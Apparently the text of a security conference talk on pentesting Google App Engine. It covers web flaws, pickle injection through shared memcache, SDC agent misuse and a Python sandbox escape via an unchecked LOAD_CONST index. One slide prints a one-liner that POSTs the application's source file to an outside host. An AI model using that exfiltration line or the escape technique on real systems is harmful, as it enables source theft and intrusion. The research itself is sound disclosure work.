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What is GAE?

 A Platform-As-A-Service for Web applications
– SDK provided to develop, test and deploy GAE applications

– services and back-ends are hosted in Google datacenters

– Data can be hosted in Europe after filling the Extended European Offering form

 Supported programming languages:



  

Overview of the architecture

 A « load-balancer + reverse-proxy + application server + backends » solution
– IPv4 and IPv6
– HTTP, HTTPS, SPDY/3, SPDY/3.1, SPDY/4a4 and QUIC unified as FastCGI
– Can be connected with HTTP services within an internal network via Google SDC



    

Attacking the app implementation



  

Developers still...

 ... manipulate raw SQL queries
– MySQL injections still happen in Google Cloud SQL

– GQL injections seem more rare 

 ... control raw HTTP responses
– XSS still happen (even in GAE samples code...)

 ... need to implement security features and/or correctly 
use frameworks
– CSRF / XXE

– Direct ID references



  

The urlfetch API

 Requesting external Web services
– SSL certificates validation is not enabled by default

– Developers may (forget to) use the check_certificate=True 
argument

 Requesting GAE Web services
– Google provides trusted (not spoofable) HTTP headers 

such as X-Appengine-Inbound-Appid or X-Appengine-Cron

– but many applications extract the caller identity by using the 
User-Agent header

AppEngine-Google; (+http://code.google.com/appengine; appid: APP_ID)



  

Other APIs

 Socket with SSL
– Need to use CERT_REQUIRED and match_hostname

 Channel
– XSS may help to steal the token generated by create_channel 

in order to intercept channel messages

 Task Queues
– Push queues workers URLs handlers must be restricted to 

admin roles



  

Python RCE

 How to obtain arbitrary Python code execution?
– A Google account that manage the app. is compromised

– By exploiting eval/unserialize/pickle vulnerabilities

 Pentesters want persistent shells
– Install or inject a XMPP end-point and register an URL 

route



  

set payload gae/py_bind_gtalk

 Directly interact with the application core 
components



  

GSOD: Google Screen Of Death

 DoS attacks turn into over-billing attacks
– Most API are billed on a share-basis : CPU, Memory, storage and 

network services I/O

– Daily or per-minute quotas can be setup

 IP blacklisting is supported
– Blacklisted IP list is maintained by the customer

– applications are also exposed on IPv6 and efficiently blacklisting IPv6 
networks is hard



    

Attacking the GAE infrastructure



  

Replicating Google @ home

 Why all developments cannot be done off-line?
– GAE SDK testing tools cannot replicate all available services

– It costs money to deploy tests mails/files/databases/etc. servers

– Some bugs will trigger only when the application is deployed in 
Google datacenter: urlfetch API, authorization, SDC, quota handling

 What we see: Developers access sensitive credentials
– Developers can compromise more services than just the one needed 

for their needs

– Authentication tokens expires but can be renewed 

– Having a distinct test Google App domain can enforce data isolation



  

Use case: the provisioning API

 An application uses the GAE Provisioning API
– Mostly used by large organizations that need to automate users management tasks
– Sensitive API which requires a secret domain key

 Classic fail: production domain key is stored in an insecure place
– Google User management cannot be replicated in-house so the primary domain key 

ends up hard-coded in the application source code

– Accessing the domain key is as dangerous as compromising a Windows domain 
administrator account

 Cool pentesting post-exploitation tricks
– Perform OAuth impersonations using the domain key to spoof accounts identity

– Crawl Tera bytes of consumers data in few seconds with the power of Google services



  

An environment is not a version

 Non-GAE applications: what we are used to see
– Development and production environments are isolated and 

have different security levels

– Only 1 version of the application is running in production

 GAE applications: what we often see
– Multiple versions with and without debug features of the 

same application are running concurrently on the same 
Google Apps account

– We can attack the version “secure” PROD-V2 via 
vulnerabilities in “insecure” PROD-V1 or DEV-V3



  

Use case: getting the source code

 Isolation between versions is possible but often not implemented
– Blobstore, Datastore, memcache and tasks queues are shared unless the 

application uses the Namespaces API

 Most GAE applications trust data stored in the memcache back-end
– Pickle is often used explicitly or implicitly through sessions management libraries

– Evil versions can easily replace trusted data with a malicious Python exploit

– The “irreversible” download source kill-switch can be bypassed

__import__("google.appengine.api.urlfetch")
.appengine.api.urlfetch.fetch(url="http://pouet.synacktiv.fr/", 
payload=open(__import__("os").environ["PATH_TRANSLATED"].rpartition("/")
[2][:-1]).read(), method="POST")



  

SDC: hard-coded credentials

 When GAE applications are exposed to 3rd parties
– Need to authenticate both Google accounts and another kind of app-specific accounts
– The SDC agent only accepts requests from connections authenticated with 

Google accounts
– Developers need to hard-code some Google account credentials when dealing with 

requests coming from non-Google accounts

GAE Application

Google account

Standard account

internal application
SDC channel

Hard-coded Google account



  

SDC: bypassing internal filtering

 SDC agent white-list features
– App-Id filtering: it is not used once many GAE applications use the SDC agent

– URL filtering: it is not used because each URL Web services must be defined in the 
configuration

GAE Application

evil application

Same Google App domain

1

SDC channel

Deploy app.

2

Corporate network

Contact firewalled server



    

The GAE Python sandbox:

“Global overview”



  



  



  



  



    

Attacking the GAE Python sandbox:

“Development environment”



  

Restricted API forgotten references 
 open() function is restricted when the 

GAE server is bootstrapped



  

Restricted API forgotten references 
 But a reference to “open” is kept in GAE 

context



  

Attacking misplaced hooks

 Python module os is restricted
– Forbid commands execution

– it's a wrapper for the unrestricted module posix



    

Attacking the GAE Python sandbox:

“@ google datacenter”



  

The LOAD_CONST opcode

 pushes co_consts[index] onto the stack
– index is not checked against co_names tuple bounds if DEBUG mode is disabled

– useful optimization feature :)

 GAE applications can create or modify code objects
– The Google Python VM is not compiled with DEBUG mode
– We can ask the VM to load a Python object from a tuple with an unverified index

/* Macro, trading safety for speed */
#define PyTuple_GET_ITEM(op, i) \

(((PyTupleObject*)(op))->ob_item[i])

case LOAD_CONST:
x = GETITEM(consts, oparg);
Py_INCREF(x);
PUSH(x);



  

Calculate the tuple index

 Have LOAD_CONST returns an arbitrary pointer
– id() returns the base address of an object
– We can fill the VM memory with arbitrary data

 index = ( id(evil_obj) - id(tuple_obj) - head_size ) / pointer_size
– We can compute the tuple index in order to reference an arbitrary memory area

co_consts tuple

( , … ),

id(tuple_obj)

arbitrary
datahead PyObject * PyObject * junk...

id(tuple_obj) + head_size
id(evil_obj)



  

bytearray object is helpful

 bytearray object exposes r/w access to memory
– If we control the bounds of the mapped area if can r/w everywhere in memory

– The vtable pointer used in object headers can be guessed

– We use a innocent string object as a container for an evil bytearray

PyStringObject

pointer to arbitrary r/w memory

id(bytearray)

head

string data

PyByteArrayObject

var_head

head

buffer pointer

buffer size

VAR_HEAD

refs count

vtable pointer



  

Back to LOAD_CONST

 Packing everything: bytearray + tuple index + LOAD_CONST
– We need 2 containers: 1 for the bytearray and 1 for the pointer to bytearray
– We run LOAD_CONST + RETURN_VALUE bytecodes that returns a bytearray than can r/w arbitrary memory

– If we try to access an unmapped addresses, the Python VM crashes

 From arbitrary r/w to arbitrary code execution
– We can patch Python objects methods pointers → we can call arbitrary address (control $rip)
– We can patch Python VM .plt section → we can safely call arbitrary libc symbol

co_consts tuple

( , … ),PyObject *

container #1

ByteArrayPyObject *

container #2

pointer

tuple index adjusted to go here

Python VM
fseek(A,B,C)

Python code
file('...').seek(A,B,C)

Python .plt
XYZ(A,B,C)

mmap()+ copy + mprotect()+ call



  

Black-box pentesting is fun

 Exploit reliable with many cpython versions but not where we want
– arbitrary r/w to memory works @ google but...

– Native Client → no mmap + mprotect  → no shellcode



  

Exploiting @ google 

 Still having fun under the NaCl sandbox layer
– Use the bytearray r/w exploit to recover libc symbols used by the VM

– Use pattern matching and heuristics to locate NaCl ELF loader context

– Recover all sandboxed GAE hosting implementation
 

PyTypeObject pointers
guessed with id()

CPython

.data

.text

.plt / .got

method
pointers

disassembly

libc

.text

xrefs

symbols

disassembly

heuristics



  

Fun @ google 

 Ok ok … no shellcode but g-john
– native CPU perf with __sha512_crypt_r ...

 Understand GAE implementation
– C++ class appengine, apphosting, udrpc, speckle



    

Conclusion



  

Final words...

 Google security is implemented in depth
– Python sandbox can be evaded but it's only the first security layer

– The SDK sandbox has no NaCl security layer

 Pentesting GAE environments
– Classic Web attacks work because developers always need to code “securely”
– Getting access to 1 GAE application source code or developer's workstation 

may lead to the compromise of several services used by one domain
– An insecure SDC agent setup may help to bypass internal network firewalls

 The GAE framework is complex
– It's not easy to migrate to GAE authentication and authorization models

– Sensitive credentials are often hard-coded in the wrong places



  

THANKS FOR YOUR ATTENTION.

ANY
QUESTIONS ?
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